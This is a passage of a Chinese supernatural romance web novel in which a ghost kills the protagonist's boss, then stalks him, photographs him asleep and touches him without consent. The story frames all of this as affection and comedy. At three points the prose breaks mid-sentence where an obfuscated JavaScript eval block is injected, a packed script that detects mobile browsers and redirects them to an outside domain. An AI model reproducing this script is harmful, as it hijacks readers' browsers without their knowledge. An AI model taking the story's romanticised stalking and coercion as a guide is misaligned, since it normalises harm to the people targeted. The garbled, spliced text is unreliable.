察觉到众人讶异的目光,宋辉洄没有屏下火气,反倒是又念了一遍,咬字很重:“欺人太甚。”
诧异归诧异,但宋辉洄说的可都是大家的心里话。陈力宋辉洄一打头,不少气恼的声音也在空地之上传开了:
“的确是欺人太甚!”
“连脾气最好的小宋都生气了,这老东西是真不做人!”
愤愤不平的声音在空地之中响了许久,可逃出山里要紧,众人却也只好先行熄一熄火。
据救援队的情报,山下不少路都被泥石堵死,大块拦路的山石阻隔了救援队上山的路。
加之大部分的救援力量前去支援被山洪摧毁的村庄,考虑到队内无人受伤,宋辉洄一行人便打算自己先行沿着原路,行至被拦住的半山腰,再与救援队汇合。
信号恢复,士气也便不再那么低迷。
宋辉洄的速度还是很慢,他一步一个脚印的跟着队伍往前挪动,眼睫垂落,盯着脚下凌乱的路面,不知在琢磨着什么。
他们的运气不好,昨晚的台风是几十年难以一遇的强台风。
经过一晚的侵袭,林间许多盘根错节的巨树轰然而倒,庞大苍凉的尸体横亘在大路的中央,枯枝散漫,虬枝狰狞的探向天际,像一只只被火舌燎烧过的枯手。
宋辉洄一路上都绷紧着脸,薄而白的皮肉隐约透红,是气的。
他连撞鬼了都没这么生气。
入职这家公司是一场意外,原本以宋辉洄的条件他本可以入职一家薪酬待遇更好的公司。
但毕业那年恰逢老观主去世,宋辉洄为了尽早在城市落脚,才不得已签下了合同。
同事们的气氛算得上融洽,只是领导太不做人,类似的事情发生不止一次,可大笔的违约金直接斩断了宋辉洄离职的可能性。
要是他真去死就好了——
一个阴暗的、晦涩的念头在宋辉洄的脑子里跳了又跳。
宋辉洄不动声色的掩藏好情绪。
气氛像是绷紧的弦,大家都在沉默不语的赶路。
前面是一处繁盛的枝叶群,杂乱的枝干缝隙里窜出一条小道。
仔细一看,是沥青路面,原来是昨夜雷雨带来的泥石和树土将沥青路掩盖,只留下一道狭小的缝隙。
昨天他们正是从此处上山,仅仅过了一晚,宽落的路面便毁于一旦。
泥土刺鼻的湿潮和焦味混杂在一起,宋辉洄凑近了打量,那些被连根拔起的树干有灼烧过的痕迹,焦黑的树皮一块连着一块。
“昨夜我听见有响雷,原来雷点落在这里了。”
有人说道。
宋辉洄回头望了人群一眼,没有出声,而是往前小迈一步,脚尖落在松软的泥土上,用力踩了踩,将其夯实。
“这里可以走。穿过这片焦土,我们应该就能走到另一条大路上了。”
宋辉洄小时候和老观主一起住在山里,对于行走这种复杂的山路颇有心得。
他打头,众人便跟着他向前。
这场山火应当是由闪电引起的,枯枝败叶一触即燃,火舌舔舐之下蜷缩干瘪,成为一块块漆黑的焦木。
焦木的味道绝对算不上好闻。
众人越走,心底的火气越重。急于找个发泄口般的,细小的抱怨声又起了:
“自己下了山把我们丢在这,上个月份的工资也拖到了现在没发,真是……”
“而且那死王汪的起家还不干净,也不知道怎么没人查他,他大爷的。”
宋辉洄默不作声的走着。
脚尖碾过枯枝,是细碎的咔嚓声。
这是一条很长的小路。
宋辉洄埋头向前走,后面的人声一直似有似无的缠绕着他的耳根子,有细小的脚步声,有断断续续的抱怨声,甚至还有不知是谁的轻轻抽噎。
忽地,宋辉洄的脚步一顿。
周遭的声音蓦地隔上了一层看不见的膜。那只附着于脊背的冰冷小虫又咔嚓咔嚓的动了。
脚下的焦土颜色漆黑。再往前,黑色逐渐变得深邃,最中央巨木树皮的色泽更是浓稠得似要滴出汁。
树干被横空劈成几块,像是花瓣一半散开。
有人静静的躺在树干中央。
这是一具灰白的尸体,四肢低垂,面朝下,背朝天,肥硕惨白的背上盛开着血红色的蜿蜒雷击纹 ,像是一朵浓艳的玫瑰。
宋辉洄听见自己的心脏重重的敲击。
他张了张嘴,想说什么,却只是微微侧了侧脸,指尖打抖,呼吸也被遏制在了喉腔。
倒悬在雷点中央的不是别人,正是王汪。
——他怎么会死在这里?!!
宋辉洄的思维艰涩的转动着。他脚跟不受控的向后挪了几步,本能的想要往后伸手保命的攀住什么东西。
只可惜,迎接他的不是周边人热切的关怀,而是一只冰得刺骨的手。
指腹堪堪擦过一块皮肤,触碰的一小块便泛起刺骨的凉。
宋辉洄深深吐了口气,往旁略侧眸。
目光所及,没有人。
他方才走得太急,以至于大部分同事都被他甩在了身后几米远的位置。枯枝盘结,恰好此处是个弯口,正是他人的视线死角。
宋辉洄吞了吞喉咙,没有再往后看。上半身保持僵直的姿态。
天气凉,宋辉洄穿上了一件灰色的卫衣,宽大的下摆半数真空,罩着瘦削起伏的腰肢。
好像有只手从衣料的缝隙间挤了进来。
它抚过如玉一般温润的雪肌,划过柔韧的腰,随即猖狂的落向凹下的小窝,似点似抹,浅尝辄止。
宋辉洄知道自己的身后空无一人。
他大气不敢喘,胸腔不受控制的起伏着。全部的神经末梢好像都生在了被双手抚过的地方,他本就敏感,这下更是细弱的打着颤,腰间发软。
可正当宋辉洄以为接下来会是更过分的触碰时,那只手却忽地触电似的窜出衣摆,顿在半空,最后犹犹豫豫的落下,仓惶勾了勾宋辉洄的小指头。
——像是在害羞。
宋辉洄被自己冷不丁冒出的念头惊到了。
与此同时,身后传来了同事的惊叫,那层笼罩着宋辉洄的看不见的隔膜再度被戳破,世界顿时又变得清晰明朗。
风的呼声再一次灌入耳膜,宋辉洄如获新生般重重喘了口气。
有胆子大的同事上前确认死者。
他们将那具尸体的头颅轻轻的往上抬。宋辉洄这才骤然闻到那股属于人的尸体的腐臭味。
轻微移动了一点儿,浓稠恶心的尸水便从五官的小孔里溢出来。经过盛夏一夜的发酵,臭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507048|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味阴魂不散的缠上了鼻腔,酿成了宋辉洄此生难忘的味道。
宋辉洄没有忍住,弯下腰,轻轻的干呕了片刻。
惊慌像是弹药在人群中惊炸开。
同事们惊慌失措的叫喊,人群错杂的脚步,有人因害怕而或低或高的抽泣。
声响嘈杂得搅和成一团——一团恶心粘稠的浓汤,又化作是重重的钝斧,一下下用斧背敲打着宋辉洄的耳膜。
嗡。
生疼。
“王汪怎么会在这里?”
“他不是昨天就回去了吗?”
“已经死透了,打120也没有用了,还是等警察来处理吧。”
耳边是众人七嘴八舌的讨论,宋辉洄的眉头却不自主的搅紧。
他隐隐有种奇怪的预感。
手探入深深的口袋,胡乱摸索了下,掏出冰冷的手机。
信号差,所以宋辉洄为了保存电量就将手机关机了。而今再一打开,手机叮叮当当的又跳出几条消息。
宋辉洄的手指犹疑着,最后落向了底下的【短信】。
里边赫然有一条来自陌生人的消息。
「来自未知号码:【图片】【图片】」
宋辉洄的视线凝滞在那几张照片上,指尖略滞。
照片上的不是旁人,正是宋辉洄自己。
果然,熟悉的帐篷,熟悉的床榻,甚至那照片中小被子的温度触感宋辉洄都还能记起。
照片里的自己熟悉又陌生——垂覆着眼,长睫拓下小块的阴影。侧枕着柔软的白枕,软肉被挤压得溢出一小块。
睡得很沉。
两张照片,一张是聚焦宋辉洄的脸。一张是拍的全身。
镜头晃动,不难看出照相的‘人’是处于极度兴奋的状态。
可那时的自己酣睡得极沉,又哪里能察觉到在隐蔽的角落里有一双眼睛一直在盯着自己……
宋辉洄听见自己心脏在跳,那是自己胸腔的肌肉拉满弓弦,一下下紧绷的扯着这颗柔软的心脏在震颤,将全身的血液泵至面颊,头颅,他可怜的眨巴着眼睫,脑袋想得很多,却又转得极慢。
身体逐渐凉下来了,热潮涌上面颊。
宋辉洄不知道自己是感到害怕或是怎么的。王汪的死刺激了他,让他想到了自己的结局。
——也会是死吗?
手机‘叮咚’一声响,又有消息弹出。
宋辉洄的目光缓缓下移,他的意识嗡嗡作响,几乎是本能的阅读着那行字。
「来自未知号码:皱眉的样子好可爱。」
接连叮咚两声。
「来自未知号码:我好爱你。」
「来自未知号码:我爱你。」
宋辉洄慢吞吞的又读了一遍,眨眼的速度极慢极慢。
爱他??
原来不是想杀他吗?
宋辉洄怂低着脑袋,细白的指尖打抖,可怜的咀嚼着这几个字,好半晌,他才提着半口气,低下头,一个字符一个字符的敲打着:
「王汪是你弄的吗?」
对面立刻弹出消息。
「来自未知号码:宝宝不喜欢他。」
「来自未知号码:我想让宝宝开心。」
果然是他。
宋辉洄碾咬着下唇,眼睫扑闪,随即立马删了聊天记录,摁灭手机。
行。
爱就爱。
被鬼奸烂起码比丢了小命强。
5. 第 5 章
没人再敢碰触尸体。
人群像是受惊的鸟,加快了向下走的速度。
再有定力的人面对朝夕相处的领导横死眼前,就算以往有再多不忿,面上也是惊惧和惶然的。
宋辉洄默不作声的将手机放回了衣兜里。
一张瓷白的脸如同浸润在看不见的朦胧月光里,隐隐泛白。
下山的风薄薄的吹着刮着,成了一张托举着脸腮的大掌,抚过宋辉洄因慌乱而洇出的细汗。
或许是恶鬼怜香惜玉,回去的路途出乎宋辉洄意料的顺利。
惊慌疲惫的众人一和救援队汇合,便将王汪死亡的讯息报告给了警方。
昨晚所有人都在营地内,都有不在场证明。且不止一个人瞧见了半夜闪过的银光,这起案子很快便以意外结案。
王汪的死因很明确,就是雷击致死。
宋辉洄安全抵达家之后才收到同事发来的讯息,很长一段,正是王汪死亡的结案消息。
宋辉洄看到消息的那秒略微顿住,过了会儿才视线下移。
案子并不是全然没有疑点。
王汪是自行驾驶汽车上山,半路也的确掉头返回。但行车记录显示他似乎迷了路,在一处短短的山路徘徊行走了接近两个小时。最后弃车步行,于是就有了之后的事情。
至于这两个小时王汪究竟遭遇了什么,到底是什么导致了他没有办法按时下山……真相似乎就这样随着王汪的死亡消散了。
谁也不会知道。
「同事:好好休息吧,部门暂时由林姐接管,她给咱放了一周的假。」
「同事:公司高层目前都在接受警方调查,王的死牵扯出来一些灰产的事。真是恶有恶报。」
宋辉洄垂眼,扫过底下的讯息。
恶有恶报?
恐怕是恶人自有恶鬼收吧。
宋辉洄居住的房子是一间不大不小的两居室。面朝阳,往日的下午闭窗必会蓄满一屋子热气,若是不开空调,定要闹得一背的细汗。
今天却不同。
连绵的大雨浇灭了F市的暑气,竟也升起了点凉意。
明明是没有冷气的下午,宋辉洄坐在临窗的椅子上,卫衣领大开,阳光从他裸露的后颈晒进来,他却感受不到丝毫的热意。
宋辉洄不傻,他用左脚趾头也能猜到是那东西跟回来了。
——不仅跟回来了,甚至可能此时就和自己背对背的坐着呢。
或许自己一个不经意的回头,就能映上一双瞳孔全白的非人的眼……
这下好了,夏天的空调费可以省下来了。
宋辉洄冷不丁的冒出念头。
宋辉洄的手里捏着一袋拆封的薯片。他对待零食很认真,吃薯片时总是会心无旁骛的盯着手里薄薄脆嫩的薯片边缘,寻找一处最完美的弧度咬下。
这还是宋辉洄第一次在吃薯片的时候走神想其他事。
但不赖他,撞鬼确实算得上一件大事。
宋辉洄手下一顿,熄屏手机,下定决心要在吃完这包薯片之前再挣扎一二。
宋辉洄又拆了一包薯片。
接着是两包。
……
眼见七包存货剩下三包,宋辉洄犹豫再三,还是放下手中的薯片袋子,面颊慢腾腾的偎在椅背边缘。
算了,能活一天是一天吧。
这七天他要好好宅在家里,谁都别想让他出去。
所幸宋辉洄不是一个喜欢把坏事儿一直记在心里的人,睡眠质量格外的好。
睡意黏黏糊糊得像是小蜘蛛网般缠上宋辉洄的意识。
宋辉洄的眼皮越来越沉,他蜷缩着俯下身,安详的放松眉眼,卫衣略微蹭开一小截,露出雪白的腰线。
一只冰冷的手从沙发边缘探出,缓慢的落下。
软肉下溢,利落的勒出道道分明的指痕。
刹那,宋辉洄的瞌睡猛地被赶得干净,眼圆溜溜的睁大了。
——对了,屋里还有只鬼呢。
余光擦过的空隙里没有人,显然是那东西搞的乱子。
手法如此暧昧,宋辉洄用右脚趾头也能猜到这只坏鬼在觊觎自己新鲜美好的□□!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507049|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋辉洄微弱的轻哼了声。
在他惊醒之后,这只作恶多端的手也心虚似的溜走了。只留下皮肉上薄红的小印。
宋辉洄草草的扭头看了眼。
宋辉洄七手八脚的把衣服整理好。
宋辉洄换了个地儿继续躺了。
他仰头瞧着头顶大片惨白的天花板,有一搭没一搭的走着神。
老观主说他不适合这行的原因是呆钝,还曾经玩笑着说,若是哪天恶鬼在跟前流着哈喇子,宋辉洄也只会先把手里的零嘴吃完再乖乖等死。
宋辉洄以前怨老观主调侃他,觉得自己虽然确实比常人更躺了点,但还没到这种地步。
至于现在的情形么……
宋辉洄呈‘大’字型平躺在床上,迷迷瞪瞪的想。
他还是做过一点儿挣扎的,哪怕只是一点——那也还是有的,哪里有老观主说得那么夸张?
宋辉洄心虚。
像是为了证明什么似的,他不服气的又撑着睡意里的最后一点意识,举起手机,划开屏幕,一字一句的打着:
「被x会死吗?」
不对,不严谨。
宋辉洄蹙起细眉,又啪嗒啪嗒把字删掉:
「人真的会被x死吗?」
问题很小众,浏览器只检测到了少数的关键词,白框里弹出了许多相关搜索结果。
「想x想得要死,怎么办怎么办?」
「只有30s想死怎么办?」
「伴侣幸福的秘诀:半夜让他舒服得想死,点击详情」
宋辉洄瘪嘴,显然对牛头不对马嘴的回答不满意,指尖往下一划拉。
紧接着是人工问诊接通。
医生:「患者您好。」
医生:对方正在输入中……
医生:「一般是不会的。」
宋辉洄颇为满意的盯着这个结论。
不死就成。
随即他心安理得的合上眼,侧翻身,脚夹一个枕头怀里再揣一个,面颊蹭了蹭柔软的枕。
——睡着了。
6. 第 6 章
光从窗帘的缝隙里溜进来,滑过隆起小块的白被,滞留在宋辉洄浓黑的睫毛根上。
眼睫轻轻扇动片刻。
随着光亮一点点渗入眼底,宋辉洄撑起手肘,卷发散乱的竖起一小撮,迷迷瞪瞪的怔了会儿。
看了眼手机,已经是十一点。
宋辉洄谨慎的翻开被子的一角,往里悄悄一瞥。
出乎他意外的是,没有可疑的污渍;扭一扭腰,也没有酸胀感;昨晚也没有做什么乱七八糟的泥泞湿梦……
相反昨晚他睡得极好,一场深梦洗去了他的疲倦,连带冲刷走了前几日的阴翳。
台风已经过去,又是一日艳阳天。
宋辉洄长舒了口气,心思活络。
难不成这是个有功能性障碍的鬼?
但宋辉洄只敢心底嘀嘀咕咕,可不敢把这心思表现在脸上。
休假的早上自然是要在被窝里度过。
宋辉洄下床娴熟的捏起一包零食,随即踢踏着拖鞋,将自己埋进被窝堆里。嘴里叼着包装袋一角,双手飞快的摁开更新的番剧。
这是一部宋辉洄追更了许久的日常泡面番。
熟悉的片头曲响起,等它叮叮咚咚的唱完,画面一转,是一张帅脸的特写镜头。
宋辉洄咀嚼零食的速度也慢了下来,睁着圆眼,曲着腿,将平板搁置在大腿肉和薄薄肚皮之间,低头极其认真的瞧着平板上掠过的画面。
貌似是新角色,延续了番剧一贯的花美男画风,瞧着让人心旷神怡。
弹幕密密麻麻的飘过不乏‘好帅’‘新老公’之类的字眼,宋辉洄也没多想,噼里啪啦的跟着发了句‘好帅’。
平平无奇的俩字一发出去,很快淹没在弹幕的海洋里,宋辉洄甚至没来得及瞧清楚闪过的白框弹幕。
可下一秒,平板的页面刹那闪烁,画面开始倒带重播。角色的唇一遍遍抽搐张合,吐出走调失真的话语。原本一张长得还颇为俊俏的脸瞬间扭曲、变得可怖和诡异。
随着一声锐利刺耳的‘呲啦’声,屏幕抗议似的,瞬间死气沉沉地乌黑了画面。
——关机了。
宋辉洄:……
他不信邪的死死摁住关机键。
还是没能重启。
此时剧情正进展到关键点。饶是宋辉洄一向脾性不大,这会儿也有点儿急了,蹙拧着眉头,‘笃笃’两下子又用指腹狠戳屏幕,留下一串模糊透白的小印子。
可恶!!!
宋辉洄腮子气得一鼓,轻磨后牙槽。紧接着又把手机倒腾出来,不死心的戳开。
开屏的瞬间,手机左上角的小信号格就在宋辉洄的炽热的凝视之中‘唰’的变为了灰色。
宋辉洄:……
他一怒之下怒了一下。
宋辉洄平时一般不生气,但这只恶鬼实在欺人太甚,竟然敢阻拦他看番!!
先前挫灭的勇气又‘蹭’的回来了。
大丈夫士可杀不可辱,宋辉洄人可奸番剧不可不看。做人是有底线的,很显然恶鬼已经踩到了宋辉洄的底线,俗话说的好,再软的柿子捏了也有脾性,再软的宋辉洄也是要看番的,想到这,宋辉洄胸腔顿时烧起一股英勇就义的愤慨!
——只见他只手撑着床塌,一鼓作气从被窝里‘唰’站了起来。
他单薄的肩上披拢着一层被单,尾端曳在床塌上,像斩龙勇士猎猎作响的披风。宋辉洄居高临下的俯视着整个卧室,鼓足了勇气,一字一句:
“呵,恶鬼。你知道惹怒我的后果是什么吗?”
宋辉洄顿了几秒。
卧室里鸦雀无声。
“呵,恶鬼。你知道我以前是在道观长大的吗?现在收手还来得及!”
宋辉洄又顿了几秒。
卧室里针落可闻。
“呵,恶鬼,你成功惹怒我了,你将会呃,将会……”
宋辉洄‘将会’了好一会儿,半晌才干巴巴挤出几字:
“将会被我讨厌的!”
宋辉洄见威慑不成,心顿时虚了,苍白无力的补上一句:“你就不能是恶鬼了哦,你、你是讨厌鬼!”
话音落下,没等卧室里再传出什么动静,宋辉洄方才鼓起的气焰就彻底消了下去。
他后悔了。
恶鬼在世,都是性情躁戾气之徒,只要有一点儿风吹草动就会暴起作祟,哪里会容得了他人挑衅?
昨日的前车之鉴依稀在目,老观主在世时也时常耳提面命,让宋辉洄千万要躲着点这些东西。一旦招惹后果不堪设想。
万一这鬼所谓的爱不过是口头说说……
宋辉洄只觉得脖子一凉,眼睫迅速心虚地眨动几下,睁圆了眼,吞了吞喉咙打算张口给自己找补。
可还没等他把字吐出口,下一秒,手机和平板的屏幕忽地闪烁了下,亮了。
宋辉洄愕然的拿起手机。
手机‘叮咚’一声,弹出一条消息。
「来自未知号码:对不起,我错了。」
接着飞快叮咚数十条:
「来自未知号码:可不可以不要讨厌我。」
「来自未知号码:我真的知道错了。」
「来自未知号码:求求你,不要说讨厌我。」
……
消息一条接着一条的疯狂弹出信息框,乌黑字体密密麻麻的蚕食铺满整个屏幕,它们挤在一块儿,似乎下一秒就要从手机狭小的框里溢出,化作一尾长蛇,粘稠的缠上紧扣手机的葱白指尖。
那么紧接着,疯狂的,黏腻的,扭曲的情愫与哀求将会挣脱而出。它们溢满了手机的黑框,爬满了宋辉洄的双手,它们渗出指头缝,滴滴答答的往下流,流啊流,流啊流,流得地板上到处都是,一丁点角落也不会放过,宋辉洄的一丁点皮肉也别想逃过。
消息叮叮当当,叮叮当当的响,阴冷的缠着宋辉洄,缠着他,没完没了的缠。
宋辉洄半晌才从错愕中挣脱出来,慌忙回道:
「看在你认错态度良好的份上我就原谅你了。」
「下次就不允许了哦。」
对面果然停住了,输入了好一会儿,才弹出一条:
「我会很乖的。绝对不会有下次。请不要再说讨厌我了。」
乖?恶鬼要是乖才有鬼了。
宋辉洄腹诽。
但番剧还在眼前勾引着宋辉洄,宋辉洄也不再和恶鬼掰扯道理。他忙是捧起宝贝的平板,继续聚精会神的盯着屏幕。
恶鬼守信,番剧如约继续播放。
只是再播放至新角色时,屏幕总是会弹出一块浓稠乌黑的印记,将那张脸遮盖得严严实实。甚至角色露出的小块肌肤也被涂抹得乌漆麻黑,瞧不清任何东西。
宋辉洄:……
宋辉洄面无表情嘎嘣咬着薯片,盯着屏幕上一坨黑糊糊走来又走去。
他被磨得有点儿没脾气了。
不过好在宋辉洄本来也不在意角色的样貌,小小一点儿的差错并不影响剧情的精彩程度。
很快一袋薯片见底,这周的快乐源泉也步入尾声。
叮叮咚咚的片尾曲响起,宋辉洄大叹了口气,将自己融化摊平,埋进被窝的圈里。
就在他掰着指头细想是打一把游戏还是看新的番剧时,一旁手机忽地呜呜响起。
宋辉洄歪头,懒得挪动身子。
他抻直了手,用指尖一点点勾住手机壳凸起的外边,没等他用力,手机自个儿往他掌心一挪,正正好放到了宋辉洄的手里。
宋辉洄:…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507050|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…
还挺上道这鬼。
再定睛一看,是个高中老同学的电话。
宋辉洄等了又等,手指在通红的挂断键旁边徘徊一阵,最后还是认命的接通。
许久未曾听见的声音从手机那头传来:
“小宋你这周末有空吗?我们打算这周末搞个高中同学聚会,你来不?”
宋辉洄刚想面不红心不跳的撒谎拒绝,那头又紧接着道:
“听说你们公司领导出事给你们放了一周的假?真羡慕啊。不过我们内部拿到了xx游戏角色的手办,你来了我刚好送给你啊。”
对面的同学名唤柳江,毕业进了某家知名的游戏工作室,那款角色手办也正是宋辉洄许久没有买到的。可谓是精准的捉住了宋辉洄的痛点。
但宋辉洄是个有原则的人。
他刚刚才发过誓——这七天绝对不会出家门一步。
宋辉洄面对这明目张胆的阳谋,选择了放弃原则。
“好,在哪?地址发我就好。”
柳江闻言热络的忙声应和,电话嘟嘟断后,便将地址发给了宋辉洄。
宋辉辉低头一瞧,那地址并不远,就在宋辉洄家附近的一家酒店。
今天恰好是周五,时间就定在明天中午。
宋辉洄抓紧时间过了个昏天暗地的晚上,再一睁眼便已临近午时。
柳江倒是一直记着,还发了消息来催。
宋辉洄不敢耽搁,赤着雪白的足飞快在地板上踩下一串模糊的印子,又囫囵伸手勾下墙上挂着的卫衣,将自己套了进去。
‘哗啦’一声水响。
宋辉洄低头掬起一捧微凉的水,将脸泼洒浸湿,留一尾水珠钻进灰色卫衣敞开的领口。
——昨日的威胁效果奇佳,暗中的恶鬼没有再闹过宋辉洄,反倒是安静的潜伏着。
若不是那阴冷潮湿的被凝视感如同附骨之蛆,久久黏腻在宋辉洄的脊梁骨上,宋辉洄都要天真地以为是这恶鬼终于对他失去兴趣了。
匆忙用手指捻干脸上一层湿润水雾,宋辉洄晃了晃脑袋,抛开杂念,匆匆下楼。
周末市中心地铁人满为患,宋辉洄抵达酒店时已经过了约定的时间。
宋辉洄原定的计划很完美——先是悄无声息的混入聚会的人群里,手办到手之后,再等待时机从厕所溜走,一石二鸟。
但宋辉洄错漏了一件事。
当他蹑手蹑脚的迈入包厢的刹那,交谈的人群忽地一静,接着,是道道热烈的目光涌来,以及句句殷切的问候:
“宋大校花终于来了!我们刚刚还在念着你怎么还没来。”
“可不是么,盼星星盼月亮终于把咱校花盼来了。”
声音久久不息,叫宋辉洄局促的往外挪了挪身体,只想钻个缝把自己埋里头。
可他的意图没能实现,而是被热情的同学挽住手往人群中间带,半点儿逃脱的机会也没有了。
——该死的,他怎么就忘记了呢。
宋辉洄肠子都要悔青了。
高中时期宋辉洄发育得慢,总是比寻常男生矮上一小截。
偏偏他长得漂亮又宅,瘦胳膊细腿的,久而久之不知是谁起了哄,居然给他安上了一个‘校花’的名头,可把当年的宋辉洄燥死了。
羞耻的回忆涌上脑海,宋辉洄耳廓红了大半。
他被推搡着,步步踱入人群中央。
忽地,一只大手不着痕迹的隔开了周遭牵引着宋辉洄的手,紧接着,是一道熟悉的声音:
“好了,你们别闹了,小宋又要害羞了。”
人群的调侃刹那止住。
宋辉洄反射性抬头,朝出声的方向望去。
一张被遗忘在记忆深处的脸蓦地映入眼帘。
7. 第 7 章
何风远。
这个名字蓦地跳入宋辉洄的脑海。
宋辉洄绝不会忘记这个奇怪的人。
他是个插班生,在高二下学期转入宋辉洄的班级。
不知是所谓的一见钟情还是怎么的。只是一个照面,何风远就阴魂不散的缠上了宋辉洄,并大张旗鼓的对宋辉洄展开了追求。
何风远长得俊朗,为人风趣温柔,人缘极好,那段时间学校沸沸扬扬的传满了宋辉洄和他的绯闻。
明明宋辉洄从未对他有过回应,甚至是厌恶他招摇过市的追求。
可何风远的态度却暧昧且没有边界感,好像宋辉洄私下真和他有所勾连似的,生生将宋辉洄拒绝的态度谣传成了‘害羞’。
所有人都暧昧默许的关系让彼时的宋辉洄恼极了。
只有宋辉洄自己一人知道,那张温柔斯文的皮肉下是怎样一个虚伪的灵魂。
“好久不见。”
一声问候打断了宋辉洄的回忆。
几年不见,何风远的样貌倒是没怎么变,含情若笑的眼,若有若无的古龙香水,恰到好处的叮咛关怀。
——又是熟悉的、精心雕琢的深情感。
虚假得令人作呕。
宋辉洄不着痕迹的躲过何风远挽来的手,含糊的‘嗯’了声。
毕业之后,何远风就像是人间蒸发一样消失在了宋辉洄的世界里,正如他来时一般突兀,他的离去也悄无声息。
对此宋辉洄是长舒一口气,求之不得。
但——
宋辉洄余光扫过周遭暧昧调侃的视线,指尖扣紧袖口。
可在其他人看来,这一场再普通不过的会面便成了旧情人早有预谋的破镜重圆。
宋辉洄轻咬牙,暗瞪了眼一边站着的柳江,后者缩脖,心虚低下头。
果然是他们提前串通谋划好的!
宋辉洄懒得配合何风远演这场莫名其妙的重逢深情大戏。
他果断扭过脸,错开他的视线,冲柳江挑眉晃手:
“柳哥你可要践行承诺把手办给我。”
柳江飞快往旁瞧了眼何风远的脸色,又立刻收回眼,忙不迭讪笑保证道:
“当然当然,答应的东西我一定会给你的。”
宋辉洄将他的小动作收进眼底,没出声,只是微抬下颔,暗暗屏下火气。
明眼人都能看出来,何风远和宋辉洄之间的氛围僵硬古怪。方才还想着起哄的其余人不少都泄气灭火,只是眼神暗暗在二人之间徘徊打量。
宋辉洄从头到尾没理何风远,而是独自走到角落,随手拿了杯橙汁,就着光滑的杯缘缓慢小口的吞咽。
袖口随着动作下滑堆叠,露出一截细白的腕子,单薄细弱,一只虎口便能把住。
宋辉洄举着杯的动作微顿,往旁余光扫了眼。
何风远一直在看。
很快有人被授意似的,走上前来,同宋辉洄套近乎:
“小宋,多年不见,你还是这样好看。”
宋辉洄再三瞧了眼这人,确认过自己没怎么和他打过交道。但还是秉着礼貌,同他寒暄了几句。
很快话题就被有意无意的带到何风远的身上。
“小宋啊,你和何风远当年到底是怎么分开的,明明你们那么般……”
‘配’字话音未落,只听‘咚’的一声响,掐断了来人的套话。
宋辉洄面无表情放下手中玻璃杯。
他长长的乌睫垂落,饱满的唇肉绷抿成一条平直的线。
像是真的恼了。
来人惊疑不定的看着宋辉洄,嗫嚅几句,有些手足无措。
但下一秒,宋辉洄抬起眼,面上挂着那张标志性的甜而淡的浅笑。
一双清水圆瞳微微眯起,他的下颔尖,笑起来时脸颊鼓起两块更显得丰美。
“你记错了吧,我和他一点关系都没有哦。”
来人连忙是‘喔喔’了几句,忙不迭点头,念道:“是是,是我记错了。”
宋辉洄被这么一打搅,彻底不想在这里呆下去了。
他随口搪塞几句,转头便寻借口去了包间外的厕所。
厕所做了挑高,入口是暗色的大理石台面,一面巨大的镜子横在台上。冷色的人造光从镜子的一角落向台面,隐隐是砭骨的刺冷。
宋辉洄低头,拧开水龙头,脑子里纷乱的在回放方才发生过的事情。
葱白的指尖浸润在哗哗而下的水柱里,无数细圆的水珠淌过吻过,滴滴答答,滴滴答答的溅落在弧形的盥洗台。
滴滴答答,滴滴答答。
宋辉洄正走神,视线恍惚。
忽地,视野的一角慢吞吞的滴落下一块血红的烙印,似乎是无数的血水从水龙头里汩汩的冒出。
宋辉洄浸着水的指头一哆嗦,迅速聚焦视线,匆忙往手中一看。
哪儿有血水?
没等他松下一口气。下一秒,雪白的盥洗盆边缘赫然滑下几行前后不一的血痕。
滴滴答答,滴滴答答。
赌气似的叫唤。
宋辉洄一顿,视线顺着血痕滑下的方向,缓缓的抬头望去。
冰冷的人造光诡异闪烁,空荡荡的厕所里,巨大的镜面之上,血淋淋的几行大字赫然在目。
「我嫉妒」
「我嫉妒他」
宋辉洄搓洗的手顿住。
面对眼前诡异可怕的一幕,他缓缓的眨巴了下眼皮。
诶?
他在嫉妒什么?
像是在回应宋辉洄的疑惑似的,镜面的字迹变换,又成了另外几字:
「我也想要得到你的爱。」
「为什么他有的我不能有?为什么为什么为什么为什么」
宋辉洄:……
没有为什么。
要他解释多少遍他谁都不爱。
宋辉洄绷着一张脸,唰唰往旁抽了几张纸,一巴掌糊到镜面上,用力擦了擦。
血水将粗糙的纸面浸湿,很快张张纸面便蜷缩成一团团萎靡湿烂的黏糊,重重掉在台面上。
宋辉洄咬牙。
他转头进了清洁间,扛起一把拖把,狠狠的怼上血痕。
他擦他擦他擦擦擦擦!
一面擦,还一面絮絮叨叨:
“能不能有话好好发消息说,别搞这些花里胡哨的。”
“净给人家酒店制造清洁负担。”
字迹消散,可很快又重新换上新的字眼。
「我听说手写比较有诚意。」
「对不起。」
